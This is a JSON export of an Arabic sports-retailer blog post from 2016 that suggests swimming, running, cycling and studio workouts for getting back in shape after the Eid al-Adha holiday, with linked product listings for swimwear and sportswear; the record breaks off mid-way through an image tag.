{"id":11570,"date":"2016-09-14T10:20:43","date_gmt":"2016-09-14T06:20:43","guid":{"rendered":"https:\/\/blog.sssports.com\/ar\/?p=11570"},"modified":"2019-10-02T02:14:59","modified_gmt":"2019-10-01T22:14:59","slug":"5-ways-get-shape-eid-holidays","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/5-ways-get-shape-eid-holidays\/","title":{"rendered":"5 \u0637\u0631\u0642 \u0644\u0627\u0633\u062a\u0639\u0627\u062f\u0629 \u0631\u0634\u0627\u0642\u062a\u0643 \u0628\u0639\u062f \u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649"},"content":{"rendered":"<p>\u0627\u0646\u062a\u0647\u062a \u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649 \u0648\u0627\u0646\u062a\u0647\u0649 \u0645\u0639\u0647\u0627 \u0648\u0642\u062a \u0627\u0644\u0627\u0633\u062a\u0631\u062e\u0627\u0621 \u0648\u0644\u0642\u0627\u0621 \u0627\u0644\u0639\u0627\u0626\u0644\u0629 \u0648\u0627\u0644\u0623\u0635\u062f\u0642\u0627\u0621 \u0648\u0631\u0628\u0645\u0627 \u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u0623\u0637\u0639\u0645\u0629\u060c \u0648\u062d\u0627\u0646 \u0627\u0644\u0648\u0642\u062a \u0644\u0644\u0639\u0648\u062f\u0629 \u0625\u0644\u0649 \u0627\u0644\u0631\u0648\u062a\u064a\u0646 \u0627\u0644\u0633\u0627\u0628\u0642.\u00a0\u0644\u0630\u0627\u060c \u064a\u0623\u062a\u064a\u0643 \u0641\u0631\u064a\u0642 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0643\u0639\u0627\u062f\u062a\u0647 \u0628\u0628\u0639\u0636 \u0627\u0644\u0623\u0641\u0643\u0627\u0631 \u062d\u0648\u0644 \u0627\u0633\u062a\u0639\u0627\u062f\u0629 \u0644\u064a\u0627\u0642\u062a\u0643 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0628\u0639\u062f \u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\u060c \u0648\u0645\u0627 \u064a\u0644\u0627\u0626\u0645\u0647\u0627 \u0645\u0646 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\u062c\u0633\u062f\u0643. \u064a\u0645\u0643\u0646\u0643 \u0627\u062a\u0628\u0627\u0639 \u062a\u0645\u0627\u0631\u064a\u0646 \u0645\u0643\u062b\u0641\u0629 \u0639\u0646\u062f \u0627\u0644\u0633\u0628\u0627\u062d\u0629\u060c \u0643\u0645\u0627 \u064a\u0645\u0643\u0646 \u0627\u0639\u062a\u0628\u0627\u0631\u0647\u0627 \u0634\u0643\u0644\u064b\u0627 \u0645\u0646 \u0623\u0634\u0643\u0627\u0644 \u0627\u0644\u0627\u0633\u062a\u0631\u062e\u0627\u0621 \u0648\u0625\u0639\u0627\u062f\u0629 \u0627\u0644\u062a\u0623\u0647\u064a\u0644 \u0628\u0639\u062f \u0627\u0644\u0625\u0635\u0627\u0628\u0629 \u0641\u064a \u0628\u0639\u0636 \u0627\u0644\u062d\u0627\u0644\u0627\u062a\u060c \u0641\u0630\u0644\u0643 \u064a\u0639\u062a\u0645\u062f \u0639\u0644\u0649 \u0643\u064a\u0641\u064a\u0629 \u0642\u064a\u0627\u0645\u0643 \u0628\u0627\u0644\u062a\u062f\u0631\u064a\u0628\u0627\u062a. \u0641\u0625\u0646 \u0643\u0627\u0646 \u0647\u062f\u0641\u0643 \u0647\u0648 \u062a\u0639\u0632\u064a\u0632 \u0642\u0648\u0629 \u0627\u0644\u062a\u062d\u0645\u0644 \u0644\u062f\u064a\u0643\u060c \u0639\u0644\u064a\u0643 \u0628\u0625\u0636\u0627\u0641\u0629 \u0628\u0639\u0636 \u0627\u0644\u0623\u0648\u0632\u0627\u0646 \u0625\u0644\u0649 \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0641\u064a \u0628\u0631\u0643\u0629 \u0627\u0644\u0633\u0628\u0627\u062d\u0629 \u0641\u0647\u064a \u0637\u0631\u064a\u0642\u0629 \u0645\u062b\u0627\u0644\u064a\u0629 \u0644\u0628\u0646\u0627\u0621 \u0627\u0644\u0642\u0648\u0629\u060c \u062d\u064a\u062b \u064a\u0639\u0645\u0644 \u062c\u0633\u0645\u0643 \u0639\u0644\u0649 \u0645\u0642\u0627\u0648\u0645\u0629 \u0627\u0644\u0645\u0627\u0621 \u0648\u0627\u0644\u0623\u0648\u0632\u0627\u0646 \u0645\u0639\u064b\u0627.<\/p>\n<p><strong>\u0646\u0635\u064a\u062d\u062a\u0646\u0627:<\/strong> \u0645\u0646 \u0636\u0645\u0646 \u0643\u0644 5 \u0623\u0634\u0648\u0627\u0637 \u0633\u0628\u0627\u062d\u0629 \u062a\u0642\u0648\u0645 \u0628\u0647\u0627\u060c \u0642\u0645 \u0628\u0642\u0637\u0639 \u0634\u0648\u0637 \u0633\u0631\u064a\u0639 \u0644\u062a\u0632\u064a\u062f \u0645\u0646 \u0633\u0631\u0639\u0629 \u0636\u0631\u0628\u0627\u062a \u0627\u0644\u0642\u0644\u0628 \u0648\u062a\u0639\u0632\u0632 \u0645\u0646 \u0641\u0639\u0627\u0644\u064a\u0629 \u0627\u0644\u062a\u0645\u0631\u064a\u0646.<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/speedo-monogram-allover-muscleback-swimsuit-spdo-8092479033\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11584 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/09\/EID_WORKOUT_SWIMMING_750X429_011.jpg\" alt=\"\u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\" width=\"759\" height=\"429\" \/><\/a><\/p>\n<ul>\n<li>\u0646\u0633\u064a\u062c &#8220;\u0625\u0646\u062f\u064a\u0648\u0631\u0646\u0633 10&#8221; \u0646\u0627\u0639\u0645 \u0627\u0644\u0645\u0644\u0645\u0633 \u0648\u0633\u0631\u064a\u0639 \u0627\u0644\u062c\u0641\u0627\u0641 \u0648\u0627\u0644\u0645\u0642\u0627\u0648\u0645 \u0644\u0644\u062a\u0645\u0632\u0642<\/li>\n<li>\u0645\u0639\u0627\u0644\u062c \u0628\u062a\u0642\u0646\u064a\u0629 &#8220;\u0643\u0631\u064a\u0648\u0631\u0627 \u0647\u0627\u064a\u0643\u0644\u0648&#8221; \u0627\u0644\u062a\u064a \u062a\u0632\u064a\u062f \u0645\u0646 \u0645\u0642\u0627\u0648\u0645\u062a \u0627\u0644\u0643\u0644\u0648\u0631<\/li>\n<li>\u0645\u0642\u0627\u0648\u0645\u0629 \u0645\u0637\u0648\u0631\u0629 \u0644\u0623\u0634\u0639\u0629 \u0627\u0644\u0634\u0645\u0633<\/li>\n<li>\u0646\u0633\u064a\u062c \u0642\u0627\u0628\u0644 \u0644\u0644\u062a\u0645\u062f\u062f \u0628\u0643\u0627\u0641\u0629 \u0627\u0644\u0627\u062a\u062c\u0627\u0647\u0627\u062a \u0644\u062d\u0631\u064a\u0629 \u0627\u0644\u062d\u0631\u0643\u0629<\/li>\n<li>\u0637\u0628\u0639\u0629 \u0645\u0648\u0646\u0648\u062c\u0631\u0627\u0645 \u0639\u0644\u0649 \u0643\u0627\u0645\u0644 \u0627\u0644\u0628\u062f\u0644\u0629<\/li>\n<li>\u062a\u0631\u0643\u064a\u0628 \u0627\u0644\u0645\u0648\u0627\u062f: 80\u066a \u0646\u0627\u064a\u0644\u0648\u0646 \/ 20\u066a \u0625\u064a\u0644\u0627\u0633\u062a\u064a\u0646<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/speedo-magic-printed-leisure-20-easy-fit-watershorts-spdo-8-06907a99-config\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11586 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/09\/EID_WORKOUT_SWIMMING_MEN_750X429_011.jpg\" alt=\"\u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\" width=\"759\" height=\"429\" \/><\/a><\/p>\n<ul>\n<li>\u062e\u0635\u0631 \u0645\u0637\u0627\u0637\u064a \u0633\u0647\u0644 \u0627\u0644\u0627\u0631\u062a\u062f\u0627\u0621 \u0648\u0631\u0628\u0627\u0637 \u0644\u062a\u0639\u062f\u064a\u0644 \u0627\u0644\u062e\u0635\u0631 \u0628\u0634\u0643\u0644 \u0645\u0644\u0627\u0626\u0645<\/li>\n<li>\u0646\u0633\u064a\u062c \u0645\u0636\u0627\u062f \u0644\u0644\u0643\u0644\u0648\u0631 \u0648\u0627\u0644\u0645\u064a\u0627\u0647 \u0627\u0644\u0645\u0627\u0644\u062d\u0629<\/li>\n<li>\u062a\u0635\u0645\u064a\u0645 \u0641\u0648\u0642 \u0627\u0644\u0631\u0643\u0628\u0629 \u0628\u0642\u0644\u064a\u0644 \u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u062a\u063a\u0637\u064a\u0629 \u0648\u0627\u0644\u0623\u0646\u0627\u0642\u0629<\/li>\n<li>\u062a\u0631\u0643\u064a\u0628 \u0627\u0644\u0645\u0648\u0627\u062f: 100\u066a \u0628\u0648\u0644\u064a\u0633\u062a\u0631<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4>\u0627\u0644\u062c\u0631\u064a<\/h4>\n<p>\u064a\u0639\u062a\u0628\u0631 \u0627\u0644\u062c\u0631\u064a \u0631\u064a\u0627\u0636\u0629 \u0623\u0633\u0627\u0633\u064a\u0629 \u0645\u0646 \u0631\u064a\u0627\u0636\u0627\u062a \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648\u060c \u0648\u064a\u062a\u0641\u0627\u0648\u062a \u062d\u0628 \u0623\u0648 \u0643\u0631\u0647 \u062a\u0644\u0643 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\u0648\u0645\u0639\u0631\u0641\u0629 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0623\u0646\u0633\u0628 \u0644\u0643 &#8211; \u0641\u0642\u062f \u062a\u0628\u062f\u0623 \u0628\u0648\u062a\u064a\u0631\u0629 \u0628\u0637\u064a\u0626\u0629 \u0636\u0645\u0646 \u0645\u0633\u0627\u0641\u0627\u062a \u0623\u0637\u0648\u0644 \u0648\u0637\u0631\u0642 \u0623\u0643\u062b\u0631 \u062a\u0639\u0642\u064a\u062f\u064b\u0627 \u0648\u062a\u062d\u062f\u064a\u064b\u0627 \u0644\u0642\u062f\u0631\u0627\u062a\u0643 \u0628\u0645\u0627 \u0641\u064a\u0647\u0627 \u0627\u0644\u0645\u0646\u062d\u062f\u0631\u0627\u062a \u0648\u0627\u0644\u0637\u0631\u0642\u0627\u062a \u0627\u0644\u0635\u0639\u0628\u0629.<\/p>\n<p><strong>\u0646\u0635\u064a\u062d\u062a\u0646\u0627:<\/strong> \u062a\u0639\u0631\u0641 \u0639\u0644\u0649 \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u062c\u0631\u064a \u0645\u0646 \u062e\u0644\u0627\u0644 \u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u062d\u0631\u0643\u0629 \u0648\u0627\u0644\u062a\u064a \u062a\u0638\u0647\u0631 \u0644\u0643 \u0643\u064a\u0641\u064a\u0629 \u062c\u0631\u064a\u0643 \u0648\u0647\u0628\u0648\u0637 \u0623\u0642\u062f\u0627\u0645\u0643 \u0648\u062b\u0646\u064a\u0647\u0627 \u0648\u062a\u0642\u0648\u0633 \u0642\u062f\u0645\u0643 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u062c\u0631\u064a\u060c \u0648\u0647\u0648 \u0623\u0645\u0631 \u0647\u0627\u0645 \u0644\u0627\u062e\u062a\u064a\u0627\u0631 \u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a \u0627\u0644\u0623\u0645\u062b\u0644 \u0644\u0643.<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/adidas-m10-running-shorts-adap-wr-ax5947\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11578 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/09\/EID_WORKOUT_RUNNING_WOMEN_750X429_011.jpg\" alt=\"\u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\" width=\"759\" height=\"429\" \/><\/a><\/p>\n<ul>\n<li>\u0646\u0633\u064a\u062c &#8220;\u0643\u0644\u0627\u064a\u0645\u0627\u0644\u0627\u064a\u062a&#8221; \u0627\u0644\u0630\u064a \u064a\u0637\u0631\u062f \u0627\u0644\u0639\u0631\u0642 \u0628\u0639\u064a\u062f\u064b\u0627 \u0639\u0646 \u0627\u0644\u0628\u0634\u0631\u0629<\/li>\n<li>\u062c\u064a\u0628 \u062f\u0627\u062e\u0644\u064a \u0644\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u062d\u0632\u0627\u0645 \u0648\u062e\u0635\u0631 \u0645\u0637\u0627\u0637\u064a \u0645\u0639 \u0631\u0628\u0627\u0637 \u0634\u062f<\/li>\n<li>\u062a\u0641\u0627\u0635\u064a\u0644 \u0639\u0627\u0643\u0633\u0629 \u0644\u0644\u0636\u0648\u0621 \u0648\u0637\u0628\u0639\u0627\u062a \u0639\u0644\u0649 \u0627\u0644\u0645\u0642\u062f\u0645\u0629 \u0648\u0627\u0644\u062e\u0644\u0641<\/li>\n<li>\u062a\u0631\u0643\u064a\u0628 \u0627\u0644\u0645\u0648\u0627\u062f: 100% \u0645\u0646 \u0627\u0644\u0628\u0648\u0644\u064a\u0633\u062a\u0631 \u0627\u0644\u0645\u062d\u0627\u0643<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/nike-flex-2016-running-shoe-nike830369-101\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11576 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/09\/EID_WORKOUT_RUNNING_MEN_750X429_011.jpg\" alt=\"\u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\" width=\"759\" height=\"429\" \/><\/a><\/p>\n<ul>\n<li>\u0646\u0639\u0644 \u0623\u0648\u0633\u0637 \u0645\u0646 \u0627\u0644\u0641\u0627\u064a\u0644\u0648\u0646 \u0628\u0631\u0648\u0632\u0627\u062a \u0645\u0637\u0627\u0637\u064a\u0629 \u0639\u0646\u062f \u0627\u0644\u0643\u0639\u0628 \u0644\u0644\u062b\u0628\u0627\u062a \u0648\u0623\u062e\u0627\u062f\u064a\u062f \u0645\u062a\u0639\u0631\u062c\u0629 \u0639\u0644\u0649 \u0637\u0648\u0644 \u0627\u0644\u0642\u062f\u0645<\/li>\n<li>\u0628\u0637\u0627\u0646\u0629 \u0639\u0646\u062f \u0627\u0644\u0644\u0633\u0627\u0646 \u0648\u0637\u0648\u0642 \u0627\u0644\u0643\u0627\u062d\u0644 \u0644\u0631\u0627\u062d\u0629 \u0623\u0643\u0628\u0631<\/li>\n<li>\u0646\u0639\u0644 \u062f\u0627\u062e\u0644\u064a \u0630\u0648 \u062a\u0648\u0633\u064a\u062f \u0645\u0631\u064a\u062d<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4>\u0631\u0643\u0648\u0628 \u0627\u0644\u062f\u0631\u0627\u062c\u0627\u062a<\/h4>\n<p>\u064a\u0639\u0632\u0632 \u0631\u0643\u0631\u0628 \u0627\u0644\u062f\u0631\u0627\u062c\u0629 \u0645\u0646 \u0642\u0648\u0629 \u0627\u0644\u0633\u0627\u0642\u060c \u0625\u0644\u0627 \u0623\u0646\u0647 \u064a\u0639\u062a\u0628\u0631 \u0646\u0634\u0627\u0637\u064b\u0627 \u0645\u0646\u062e\u0641\u0636 \u0627\u0644\u062a\u0623\u062b\u064a\u0631 ( \u062a\u0628\u0639\u064b\u0627 \u0644\u0637\u0628\u064a\u0639\u0629 \u0627\u0644\u0645\u0643\u0627\u0646 \u0637\u0628\u0639\u064b\u0627)\u060c \u0644\u0630\u0627 \u0644\u0646 \u064a\u0643\u0648\u0646 \u0647\u0646\u0627\u0643 \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u0636\u063a\u0637 \u0639\u0644\u0649 \u0627\u0644\u062c\u0633\u0645 \u0645\u0642\u0627\u0631\u0646\u0629 \u0628\u0627\u0644\u062c\u0631\u064a \u0639\u0644\u0649 \u0633\u0628\u064a\u0644 \u0627\u0644\u0645\u062b\u0627\u0644. \u0641\u0631\u0643\u0648\u0628 \u0627\u0644\u062f\u0631\u0627\u062c\u0627\u062a \u0647\u0648 \u0648\u0633\u064a\u0644\u0629 \u0631\u0627\u0626\u0639\u0629 \u0644\u0628\u0646\u0627\u0621 \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u062d\u0645\u0644\u060c \u064a\u0645\u0643\u0646\u0643 \u0645\u0646 \u062e\u0644\u0627\u0644\u0647 \u062a\u0639\u062f\u064a\u0644 \u0646\u0645\u0637 \u0643\u062b\u0627\u0641\u0629 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0639\u0646 \u0637\u0631\u064a\u0642 \u062a\u063a\u064a\u064a\u0631 \u0637\u0628\u064a\u0639\u0629 \u0627\u0644\u062a\u0636\u0627\u0631\u064a\u0633 \u0648\u0646\u0648\u0639\u064a\u0629 \u0627\u0644\u0645\u0644\u0627\u0628\u0633 \u0627\u0644\u062a\u064a \u062a\u0631\u062a\u062f\u064a\u0647\u0627. \u064a\u0645\u0643\u0646\u0643 \u0623\u064a\u0636\u0627 \u0627\u062e\u062a\u064a\u0627\u0631 \u0627\u0644\u0646\u0637\u0627\u0642 \u0627\u0644\u062e\u0627\u0635 \u0628\u0643 &#8211; \u0633\u0648\u0627\u0621 \u0641\u064a \u0627\u0644\u0623\u0645\u0627\u0643\u0646 \u0627\u0644\u0645\u063a\u0644\u0642\u0629 \u0641\u064a \u0635\u0627\u0644\u0629 \u0627\u0644\u0623\u0644\u0639\u0627\u0628 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629\u060c \u0623\u0648 \u0641\u064a \u0627\u0644\u0647\u0648\u0627\u0621 \u0627\u0644\u0637\u0644\u0642\u060c \u0623\u0648 \u0628\u0627\u0644\u0645\u0634\u0627\u0631\u0643\u0629 \u0641\u064a \u0633\u0628\u0627\u0642 \u0631\u0643\u0648\u0628 \u0627\u0644\u062f\u0631\u0627\u062c\u0627\u062a \u0627\u0644\u062b\u0627\u0628\u062a\u0629.<\/p>\n<p><strong>\u0646\u0635\u064a\u062d\u062a\u0646\u0627:<\/strong> \u062d\u0627\u0648\u0644 \u0631\u0643\u0648\u0628 \u0627\u0644\u062f\u0631\u0627\u062c\u0629 \u0625\u0630\u0627 \u0643\u0646\u062a \u062a\u0639\u0627\u0646\u064a \u0642\u0644\u064a\u0644\u0627\u064b \u0645\u0646 \u0627\u0644\u0643\u0633\u0644 \u0627\u0644\u0630\u0647\u0646\u064a. \u062d\u064a\u062b \u064a\u0639\u0632\u0632 \u0647\u0630\u0627 \u0627\u0644\u0646\u0634\u0627\u0637 \u0645\u0646 \u062a\u062d\u0641\u064a\u0632 \u0627\u0644\u0642\u062f\u0631\u0627\u062a \u0627\u0644\u0639\u0642\u0644\u064a\u0629 \u0644\u062a\u0633\u0627\u0639\u062f\u0643 \u0639\u0644\u0649 \u0627\u0644\u0639\u0648\u062f\u0629 \u0625\u0644\u0649 \u0631\u0648\u062a\u064a\u0646\u0643 \u0627\u0644\u064a\u0648\u0645\u064a \u0641\u064a \u0627\u0644\u0639\u0645\u0644 \u0628\u0639\u062f \u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649.<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/nike-pro-cool-capri-leggings-nkap725468-620\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11574 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/09\/EID_WORKOUT_CYCLING_WOMENS_750X4291.jpg\" alt=\"\u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\" width=\"759\" height=\"429\" \/><\/a><\/p>\n<ul>\n<li>\u0646\u0633\u064a\u062c &#8220;\u0646\u0627\u064a\u0643 \u0628\u0631\u0648 \u0643\u0648\u0644&#8221; \u0627\u0644\u0630\u064a \u064a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0628\u0631\u0648\u062f\u0629 \u0627\u0644\u062c\u0633\u0645<\/li>\n<li>\u0642\u0637\u0639 \u0645\u0646 \u0627\u0644\u0646\u0633\u064a\u062c \u0627\u0644\u0634\u0628\u0643\u064a \u062e\u0644\u0641 \u0627\u0644\u0631\u0643\u0628\u0629 \u0644\u0644\u062a\u0647\u0648\u064a\u0629<\/li>\n<li>\u062e\u0635\u0631 \u0645\u0637\u0627\u0637\u064a \u0645\u0633\u0637\u0651\u062d \u0644\u0627\u0646\u0637\u0628\u0627\u0642 \u0645\u0644\u0627\u0626\u0645<\/li>\n<li>\u062f\u0631\u0632\u0627\u062a \u0646\u0627\u0639\u0645\u0629 \u0639\u0644\u0649 \u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u062a\u0638\u0647\u0631 \u0645\u0646\u062d\u0646\u064a\u0627\u062a \u0627\u0644\u062c\u0633\u0645 \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629<\/li>\n<li>\u062a\u0631\u0643\u064a\u0628 \u0627\u0644\u0645\u0648\u0627\u062f: 80\u066a \u0628\u0648\u0644\u064a\u0633\u062a\u0631\u060c 20 \u066a \u0633\u0628\u0627\u0646\u062f\u064a\u0643\u0633<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/nike-dry-training-t-shirt-nkap646155-702\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11572 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/09\/EID_WORKOUT_CYCLING_MENS_750X4291.jpg\" alt=\"\u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\" width=\"759\" height=\"429\" \/><\/a><\/p>\n<ul>\n<li>\u0646\u0633\u064a\u062c \u0645\u0632\u0648\u062f \u0628\u062a\u0642\u0646\u064a\u0629 &#8220;\u062f\u0631\u0627\u064a \u0641\u062a&#8221; \u0627\u0644\u062a\u064a \u062a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u062c\u0641\u0627\u0641 \u0648\u0628\u0631\u0648\u062f\u0629 \u0627\u0644\u062c\u0633\u0645<\/li>\n<li>\u0646\u0633\u064a\u062c \u0634\u0628\u0643\u064a \u0645\u062a\u064a\u0646 \u0648\u0645\u0636\u0627\u062f \u0644\u0644\u062a\u0645\u0632\u0642<\/li>\n<li>\u0642\u0637\u0639 \u0645\u0646 \u0627\u0644\u0646\u0633\u064a\u062c \u0627\u0644\u0634\u0628\u0643\u064a \u0639\u0646\u062f \u0627\u0644\u0623\u0643\u062a\u0627\u0641 \u0648\u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0644\u0644\u062a\u0647\u0648\u064a\u0629<\/li>\n<li>\u0634\u0631\u064a\u0637 \u062e\u0644\u0641 \u0627\u0644\u064a\u0627\u0642\u0629 \u0644\u0627\u062d\u062a\u0643\u0627\u0643 \u0646\u0627\u0639\u0645 \u0645\u0639 \u0627\u0644\u062c\u0644\u062f<\/li>\n<li>\u062a\u0631\u0643\u064a\u0628 \u0627\u0644\u0645\u0648\u0627\u062f: 100\u066a \u0628\u0648\u0644\u064a\u0633\u062a\u0631<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4>\u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0641\u064a \u0627\u0644\u0627\u0633\u062a\u0648\u062f\u064a\u0648<\/h4>\n<p>\u0627\u0644\u0631\u0627\u0626\u0639 \u0641\u064a \u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u062f\u0627\u062e\u0644 \u0627\u0633\u062a\u0648\u062f\u064a\u0648 \u0647\u0648 \u0645\u062c\u0645\u0648\u0639\u0629 \u0627\u0644\u062e\u064a\u0627\u0631\u0627\u062a \u0627\u0644\u0648\u0627\u0633\u0639\u0629 \u0628\u062d\u064a\u062b \u0644\u0627 \u062a\u0636\u0637\u0631 \u0644\u062a\u0643\u0631\u0627\u0631 \u0627\u0644\u0631\u0648\u062a\u064a\u0646 \u0627\u0644\u064a\u0648\u0645\u064a \u0627\u0644\u0642\u062f\u064a\u0645 \u0627\u0644\u0630\u064a \u0643\u0646\u062a \u062a\u062a\u0628\u0639\u0647. \u0643\u0645\u0627 \u064a\u0628\u0631\u0632 \u0647\u0646\u0627 \u0627\u0644\u0639\u0627\u0645\u0644 \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a \u0641\u064a \u0627\u0644\u0645\u0646\u0627\u0641\u0633\u0629 \u0639\u0644\u0649 \u0625\u062d\u0631\u0627\u0632 \u0627\u0644\u0647\u062f\u0641 \u0628\u062d\u0643\u0645 \u0648\u062c\u0648\u062f\u0643 \u0636\u0645\u0646 \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0646 \u0627\u0644\u0645\u062a\u062f\u0631\u0628\u064a\u0646 \u060c \u0648\u0647\u0648 \u0623\u0645\u0631 \u062c\u064a\u062f \u064a\u062d\u0641\u0632\u0643 \u0639\u0644\u0649 \u0628\u0630\u0644 \u062c\u0647\u062f \u0623\u0643\u0628\u0631 \u062e\u0644\u0627\u0644 \u0627\u0644\u062d\u0635\u0629 \u0627\u0644\u062a\u062f\u0631\u064a\u0628\u064a\u0629. \u062d\u064a\u062b \u064a\u0645\u0643\u0646\u0643 \u0627\u062e\u062a\u064a\u0627\u0631 \u0645\u0627 \u0628\u064a\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648 \u0623\u0648 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u062d\u0631\u0642 \u0627\u0644\u062f\u0647\u0648\u0646 \u0623\u0648 \u062c\u0644\u0633\u0627\u062a \u0627\u0644\u0627\u0633\u062a\u0631\u062e\u0627\u0621 \u0645\u0646 \u064a\u0648\u063a\u0627 \u0648\u0628\u064a\u0644\u0627\u062a\u064a\u0633 \u0648\u062a\u064a \u0622\u0631 \u0625\u0643\u0633 \u0648\u0627\u0644\u0631\u0642\u0635 \u0623\u0648 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0623\u0648\u0632\u0627\u0646 \u0627\u0644\u062a\u064a \u0633\u062a\u0628\u0647\u0631\u0643 \u0628\u0646\u062a\u0627\u0626\u062c\u0647\u0627. \u0648\u0627\u0638\u0628 \u0639\u0644\u0649 \u0645\u0645\u0627\u0631\u0633\u0629 \u0631\u064a\u0627\u0636\u0627\u062a \u0627\u0644\u0646\u0627\u062f\u064a \u0627\u0644\u0631\u064a\u0627\u0636\u064a \u0644\u062a\u0631\u0649 \u0627\u0644\u0641\u0627\u0626\u062f\u0629 \u0628\u0623\u0633\u0631\u0639 \u0648\u0642\u062a.<\/p>\n<p><strong>\u0646\u0635\u064a\u062d\u062a\u0646\u0627:<\/strong> \u0627\u062f\u0645\u062c \u0645\u0627 \u0628\u064a\u0646 \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0627\u0644\u064a\u0648\u0645\u064a\u0629 \u0648\u0631\u0643\u0651\u0632 \u0639\u0644\u0649 \u0645\u062c\u0645\u0648\u0639\u0627\u062a \u0639\u0636\u0644\u064a\u0629 \u0645\u062e\u062a\u0644\u0641\u0629 \u0641\u064a \u0643\u0644 \u062d\u0635\u0629 \u062a\u062f\u0631\u064a\u0628\u064a\u0629 \u0644\u062a\u0634\u0639\u0631 \u0628\u0627\u0644\u0641\u0627\u0626\u062f\u0629 \u062a\u0634\u0645\u0644 \u062c\u0633\u0645\u0643 \u0628\u0623\u0643\u0645\u0644\u0647. \u0643\u0645\u0627 \u0623\u0646 \u062f\u0645\u062c \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0633\u064a\u0634\u062c\u0639\u0643 \u0639\u0644\u0649 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0639\u0646\u062f \u0627\u0644\u0639\u0648\u062f\u0629 \u0645\u0646 \u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649.<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/nux-mesa-capri-leggings-nuxp880-uta\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11582 size-full\" 